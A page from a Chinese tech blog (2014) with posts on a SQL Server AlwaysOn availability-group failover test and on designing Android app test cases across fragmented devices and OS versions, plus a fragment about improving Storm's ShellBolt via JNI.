  4)对于外部处理程序,如C++,可以采用JNI的方式,对ShellBolt进行改进,而不是启动新的进程在通过Json编码,Pipe传输与之通讯,从而也可以提交效率。参见[参考4]。

posted @ 2014-12-08 20:40 顺其自然EVO 阅读(261) | 评论 (0)编辑 收藏

AlwaysOn可用性组功能测试(2)-SQL Server群集故障转移

三、 SQL Server群集故障转移对AlwaysOn可用性组的影响
  1. 主副本在SQL Server群集CLUSTEST03/CLUSTEST03上
  1.1将节点转移Server02.以下是故障转移界面。
  1.2 服务脱机,alwaysOn自然脱机,但侦听IP并没有脱机。
  1.3 SQL服务联机后,侦听IP【10.0.0.224】会脱机重启,alwaysOn资源组联机


.4 转移后恢复正常,连接正常,语句执行正常。
  2. 主副本在SERVER03的服务上
  2.1 当前主副本在SERVER03上,SQL Server故障转移对可用性组没有影响。以下转移脱机界面。
  测试总结
  A、 若主副本在SQL 群集上,当服务脱机时候,侦听IP并不会脱机,AlwaysOn会脱机;可用组不可用。
  B、 当服务重新联机,侦听IP会脱机重新联机,侦听IP会发生顺断。
  C、 重新联机到AlwaysOn连接过程使用20秒左右。
  D、 当主副本不在SQL群集上,群集的故障转移对可用性组没有影响。
相关文章
AlwaysOn可用性组功能测试(1)-故障转移测试




posted @ 2014-12-08 20:38 顺其自然EVO 阅读(903) | 评论 (0)编辑 收藏

如何设计Android App测试用例

在当今竞争激烈的市场上一个APP的成功离不开一个可靠的用户界面(UI)。因此,对功能和用户体验有一些特殊关注和照顾的UI的全面测试是必不可少的。当涉及到安卓平台及其提出的独特问题的数量(安卓就UI提出显著挑战)时,挑战变得更加复杂。关键字“碎片化”象征着移动应用全面测试的最大障碍,还表明了发布到市场上的所有形态、大小、配置类型的安卓设备所引起的困难。本文将介绍安卓模拟器如何能通过使用一些技巧和简单的实践提供覆盖大量设备类型的广泛测试。
  简介—分散装置里的测试
  一般安卓开发者在其日常工作中面临的最大挑战之一是:终端设备和操作系统版本的范围太广。OpenSignal进行的一项研究表明,2013年7月市场上有超过11,828的不同安卓终端设备,所有设备在类型/大小/屏幕分辨率以及特定配置方面有所不同。考虑到前一年的调查仅记录有3,997款不同设备,这实在是一个越来越大的挑战障碍。
 
 图1.11,828 款安卓设备类型( OpenSignal研究, 2013年7月[ 1 ] )分布
  从一个移动APP开发角度出发,定义终端设备有四个基本特征:
  1.操作系统:由“API指标”( 1 ?18 )专业定义的安卓操作系统版本( 1.1? 4.3 ),。
  2.显示器:屏幕主要是由屏幕分辨率(以像素为单位),屏幕像素密度( 以DPI为单位),和/或屏幕尺寸(以英寸为单位)定义的。
  3.CPU:该“应用程序二进制接口” (ABI )定义CPU的指令集。这里的主要区别是ARM和基于Intel的CPU。
  4.内存:一个设备包括内存储器( RAM)和Dalvik 虚拟存储器( VM堆)的预定义的堆内存。
  这是前两个特点,操作系统和显示器,都需要特别注意,因为他们是直接由最终用户明显感受,且应该不断严格地被测试覆盖。至于安卓的版本, 2013年7月市场上有八个同时运行导致不可避免的碎片的不同版本。七月,近90%这些设备中的34.1 %正在运行Gingerbread版本( 2.3.3-2.3.7 ),32.3 %正在运行Jelly Bean( 4.1.x版),23.3 %正在运行Ice Cream Sandwich( 4.0.3 - 4.0.4 )。
  
图2.16款安卓版本分布(OpenSignal研究,2013年7月[1])
  考虑设备显示器,一项TechCrunch从2013年4月进行的研究显示,绝大多数(79.9%)有效设备正在使用尺寸为3和4.5英寸的“正常”屏幕。这些设备的屏幕密度在“MDPI”(160 DPI),“hdpi”(240 DPI)和“xhdpi”(320 DPI)之间变化。也有例外, 一种只占9.5%的设备屏幕密度低“hdpi”(120 DPI)且屏幕小。
  
图3. 常见的屏幕尺寸和密度的分布(谷歌研究,2013年4月)[2]
  如果这种多样性在质量保证过程中被忽略了,那么绝对可以预见:bugs会潜入应用程序,然后是bug报告的风暴,最后Google Play Store中出现负面用户评论。因此,目前的问题是:你怎么使用合理水平的测试工作切实解决这一挑战?定义测试用例及一个伴随测试过程是一个应付这一挑战的有效武器。
  用例—“在哪测试”、“测试什么”、“怎么测试”、“何时测试”?
  “在哪测试”
  为了节省你测试工作上所花的昂贵时间,我们建议首先要减少之前所提到的32个安卓版本组合及代表市场上在用的领先设备屏的5-10个版本的显示屏。选择参考设备时,你应该确保覆盖了足够广范围的版本和屏幕类型。作为参考,您可以使用OpenSignal的调查或使用手机检测的信息图[3],来帮助选择使用最广的设备。


为了满足好奇心,可以从安卓文件[5]将屏幕的尺寸和分辨率映射到上面数据的密度(“ldpi”,“mdpi”等)及分辨率(“小的”,“标准的”,等等)上。
  
图4.多样性及分布很高的安卓终端设备的六个例子(手机检测研究,2013年2月)[3]
  有了2013手机检测研究的帮助,很容易就找到了代表性的一系列设备。有一件有趣的琐事:30%印度安卓用户的设备分辨率很低只有240×320像素,如上面列表中看到的,三星Galaxy Y S5360也在其中。另外,480×800分辨率像素现在最常用(上表中三星Galaxy S II中可见)。
  “测试什么”
  移动APP必须提供最佳用户体验,以及在不同尺寸和分辨率(关键字“响应式设计”)的各种智能手机和平板电脑上被正确显示(UI测试)。与此同时,apps必须是功能性的和兼容的(兼容性测试),有尽可能多的设备规格(内存,CPU,传感器等)。加上先前获得的“直接”碎片化问题(关于安卓的版本和屏幕的特性), “环境相关的”碎片化有着举足轻重的作用。这种作用涉及到多种不同的情况或环境,其中用户正在自己的环境中使用的终端设备。作为一个例子,如果网络连接不稳定,来电中断,屏幕锁定等情况出现,你应该慎重考虑压力测试[4]和探索性测试以确保完美无错。
  
图5. 测试安卓设备的各个方面
  有必要提前准备覆盖app最常用功能的所有可能的测试场景。早期bug检测和源代码中的简单修改,只能通过不断的测试才能实现。
  “怎么测试”
  将这种广泛的多样性考虑在内的一种务实方法是, 安卓模拟器 - 提供了一个可调节的工具,该工具几乎可以模仿标准PC上安卓的终端用户设备。简而言之,安卓模拟器是QA流程中用各种设备配置(兼容性测试)进行连续回归测试(用户界面,单元和集成测试)的理想工具。探索性测试中,模拟器可以被配置到一个范围广泛的不同场景中。例如,模拟器可以用一种能模拟连接速度或质量中变化的方式来设定。然而,真实设备上的QA是不可缺少的。实践中,用作参考的虚拟设备依然可以在一些小的(但对于某些应用程序来说非常重要)方面有所不同,比如安卓操作系统中没有提供程序特定的调整或不支持耳机和蓝牙。真实硬件上的性能在评价过程中发挥了自身的显著作用,它还应该在考虑了触摸硬件支持和设备物理形式等方面的所有可能终端设备上进行测试(可用性测试)。
  “何时测试”
  既然我们已经定义了在哪里(参考设备)测试 ,测试什么(测试场景),以及如何( 安卓模拟器和真实设备)测试,简述一个过程并确定何时执行哪一个测试场景就至关重要了。因此,我们建议下面的两级流程:
  1 .用虚拟设备进行的回归测试。
  这包括虚拟参考设备上用来在早期识别出基本错误的连续自动化回归测试。这里的理念是快速地、成本高效地识别bugs。
  2 .用真实设备进行的验收测试。
  这涉及到:“策划推广”期间将之发布到Google Play Store前在真实设备上的密集测试(主要是手动测试),(例如,Google Play[ 5 ]中的 alpha和beta测试组) 。
  在第一阶段,测试自动化极大地有助于以经济实惠的方式实现这一策略。在这一阶段,只有能轻易被自动化(即可以每日执行)的测试用例才能包含在内。
  在一个app的持续开发过程中,这种自动化测试为开发人员和测试人员提供了一个安全网。日常测试运行确保了核心功能正常工作,app的整体稳定性和质量由测试数据透明地反映出来,认证回归可以轻易地与最近的变化关联。这种测试可以很轻易地被设计并使用SaaS解决方案(如云中的TestObject的UI移动app测试)从测试人员电脑上被记录下来。
  当且仅当这个阶段已被成功执行了,这个过程才会在第二阶段继续劳动密集测试。这里的想法是:如果核心功能通过自动测试就只投入测试资源,使测试人员能够专注于先进场景。这个阶段可能包括测试用例,例如性能测试,可用性测试,或兼容性测试。这两种方法相结合产生了一个强大的移动apps质量保证策略[ 7 ] 。
  结论 - 做对测试
  用正确的方式使用,测试可以在对抗零散的安卓的斗争中成为一个有力的工具。一个有效的测试策略的关键之处在于定义手头app的定制测试用例,并定义一个简化测试的工作流程或过程。测试一个移动app是一个重大的挑战,但它可以用一个结构化的方法和正确的工具集合以及专业知识被有效解决掉。

posted @ 2014-12-08 20:35 顺其自然EVO 阅读(457) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 3 4 5 6 7 8 9 10 11 下一页 Last 
<2024年3月>
252627282912
3456789
10111213141516
17181920212223
24252627282930
31123456

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜